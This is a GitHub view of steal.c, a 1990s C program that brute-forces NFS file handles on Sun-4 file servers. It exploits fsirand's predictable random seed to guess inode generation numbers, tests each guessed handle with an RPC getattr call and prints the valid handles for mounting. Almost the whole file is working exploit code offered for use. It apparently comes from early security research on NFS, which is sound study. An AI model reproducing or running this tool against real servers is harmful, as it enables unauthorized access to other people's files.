-
Notifications
You must be signed in to change notification settings - Fork 39
/
steal.c
313 lines (279 loc) · 8.59 KB
/
steal.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
/*
* Copyright (c) 1990-1998 by Leendert van Doorn <[email protected]>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Vrije Universiteit nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL LEENDERT VAN DOORN, OR VRIJE UNIVERSITEIT
* (AMSTERDAM) BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
* OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
* ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* steal - try to steal handles from a sun-4 NFS file server
*/
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <errno.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <sys/vnode.h>
#include <sys/vfs.h>
#ifdef SYSV
#include <sys/inode.h>
#else
#include <ufs/inode.h>
#endif
#include "mount.h"
#include "nfs_prot.h"
/*
* This random seed is the constant value that the
* uninitialized variable ``timeval'' in fsirand contains.
*/
#define SUN4_RANDOM (0 + 32)
/*
* Disk device descriptor (major/minor)
*/
#define DSK_NMIN 16
struct disk {
int dsk_maj; /* major disk device number */
int dsk_min[16]; /* minor device table */
};
/*
* Device descriptor
*/
#define DEV_NDISKS 2
struct device {
long dev_random; /* machine specific random seed */
int dev_pid; /* maximum pid to look at */
struct disk dev_disks[DEV_NDISKS]; /* disk table */
};
struct device device = {
{ SUN4_RANDOM, 2000,
{ 10, /* /dev/xd[01][a-h] */
{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 } },
{ 7, /* /dev/sd[01][a-h] */
{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 } },
},
};
/*
* File system types, these correspond to entries in fsconf
*/
#define MOUNT_UFS 1
#define MOUNT_NFS 2
#define MOUNT_PC 3
#define MOUNT_LO 4
#define MOUNT_TFS 5
#define MOUNT_TMP 6
/*
* This struct is only used to find the size of the data field in the
* fhandle structure below.
*/
static struct fhsize {
fsid_t f1;
u_short f2;
char f3[4];
u_short f4;
char f5[4];
};
#define NFS_FHMAXDATA ((NFS_FHSIZE - sizeof (struct fhsize) + 8) / 2)
struct svcfh {
fsid_t fh_fsid; /* filesystem id */
u_short fh_len; /* file number length */
char fh_data[NFS_FHMAXDATA]; /* and data */
u_short fh_xlen; /* export file number length */
char fh_xdata[NFS_FHMAXDATA]; /* and data */
};
struct timeval timeout = { 60, 0 };
struct sockaddr_in server_addr;
CLIENT *client;
int handleok();
long random();
main(argc, argv)
int argc;
char **argv;
{
register int pid;
int sock = RPC_ANYSOCK;
char *host;
if (argc != 2) {
fprintf(stderr, "Usage: %s host\n", argv[0]);
exit(1);
}
host = argv[1];
/* convert hostname to IP address */
if (isdigit(*host)) {
server_addr.sin_addr.s_addr = inet_addr(host);
} else {
struct hostent *hp = gethostbyname(host);
if (hp == NULL) {
fprintf(stderr, "%s: unknown host\n", host);
exit(1);
}
bcopy(hp->h_addr, &server_addr.sin_addr.s_addr, hp->h_length);
host = hp->h_name;
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = 0;
/* setup communication channel with NFS daemon */
if ((client = clntudp_create(&server_addr,
NFS_PROGRAM, NFS_VERSION, timeout, &sock)) == NULL) {
clnt_pcreateerror(host);
exit(1);
}
clnt_control(client, CLSET_TIMEOUT, &timeout);
client->cl_auth = authunix_create_default(-2, -2);
/*
* For every likely process id, search through the list
* of likely devices and create a handle. Since the pid's
* used in fsirand are often low (<1000), it makes more
* sense to go through the devices first.
*/
for (pid = 0; pid <= device.dev_pid; pid++) {
register int n, dsk;
long gen;
/* initialize generation generator */
srandom(1);
srandom(pid + device.dev_random);
n = pid;
while (n--) (void) random();
if ((pid % 100) == 0) printf("\tpid = %d\n", pid);
/* compute generation # for inode 2 */
(void) random(); /* inode 0 */
(void) random(); /* inode 1 */
gen = random();
/*
* Try every disk controler
*/
for (dsk = 0; dsk < DEV_NDISKS; dsk++) {
register struct disk *dp = &device.dev_disks[dsk];
register int min, maj = dp->dsk_maj;
/*
* Try every disk. A minor number of -1 indicates that
* it has already been guessed.
*/
for (min = 0; min < DSK_NMIN; min++) {
fhandle handle;
if(dp->dsk_min[min] == -1) continue;
makehandle(handle, maj, dp->dsk_min[min], 2, gen, 2, gen);
if (handleok(handle)) {
dp->dsk_min[min] = -1;
printhandle(handle);
break;
}
}
}
}
auth_destroy(client->cl_auth);
clnt_destroy(client);
exit(0);
}
/*
* Create a handle
*/
makehandle(handle, maj, min, inum, gen, rinum, rgen)
struct svcfh *handle;
int maj, min;
long inum, gen;
long rinum, rgen;
{
handle->fh_fsid.val[0] = makedev(maj, min);
handle->fh_fsid.val[1] = MOUNT_UFS;
handle->fh_len = 10;
*((u_short *)&handle->fh_data[0]) = 0; /* length */
*((ino_t *)&handle->fh_data[2]) = inum; /* inode */
*((long *)&handle->fh_data[6]) = gen; /* generation number */
handle->fh_xlen = 10;
*((u_short *)&handle->fh_xdata[0]) = 0; /* length */
*((ino_t *)&handle->fh_xdata[2]) = rinum; /* inode */
*((long *)&handle->fh_xdata[6]) = rgen; /* generation number */
}
/*
* Just use some fast nfs rpc to check out the
* correctness of the handle.
*/
int
handleok(handle)
fhandle *handle;
{
attrstat *res;
if ((res = nfsproc_getattr_2(handle, client)) == NULL)
return 0;
if (res->status != NFS_OK)
return 0;
return 1;
}
printhandle(handle)
struct svcfh *handle;
{
register char *p;
register int i;
/* fsid[0] -> major, minor device number */
fprintf(stderr, "\t(%d,%d) ",
major(handle->fh_fsid.val[0]), minor(handle->fh_fsid.val[0]));
/* fsid[1] -> file system type */
switch (handle->fh_fsid.val[1]) {
case MOUNT_UFS: fprintf(stderr, "ufs "); break;
case MOUNT_NFS: fprintf(stderr, "nfs "); break;
case MOUNT_PC: fprintf(stderr, "pcfs "); break;
case MOUNT_LO: fprintf(stderr, "lofs "); break;
case MOUNT_TFS: fprintf(stderr, "tfs "); break;
case MOUNT_TMP: fprintf(stderr, "tmp "); break;
default: fprintf(stderr, "unknown "); break;
}
/* file number length, and data */
fprintf(stderr, "<%d,%ld,%ld> ",
*((u_short *)&handle->fh_data[0]),
*((ino_t *)&handle->fh_data[2]),
*((long *)&handle->fh_data[6]));
/* export file number length, and data */
fprintf(stderr, "<%d,%ld,%ld>\n",
*((u_short *)&handle->fh_xdata[0]),
*((ino_t *)&handle->fh_xdata[2]),
*((long *)&handle->fh_xdata[6]));
/* print handle in hex-decimal format (as input for nfs) */
fprintf(stderr, "handle:");
for (i = 0, p = (char *)handle; i < sizeof(struct svcfh); i++, p++)
fprintf(stderr, " %02x", *p & 0xFF);
fprintf(stderr, "\n");
}
/*
* Returns an auth handle with parameters determined by
* doing lots of syscalls.
*/
AUTH *
authunix_create_default(uid, gid)
int uid, gid;
{
char machname[MAX_MACHINE_NAME + 1];
int gids[1];
if (gethostname(machname, MAX_MACHINE_NAME) == -1) {
fprintf(stderr, "authunix_create_default: cannot get hostname\n");
exit(1);
}
machname[MAX_MACHINE_NAME] = 0;
gids[0] = gid;
return (authunix_create(machname, uid, gid, 1, gids));
}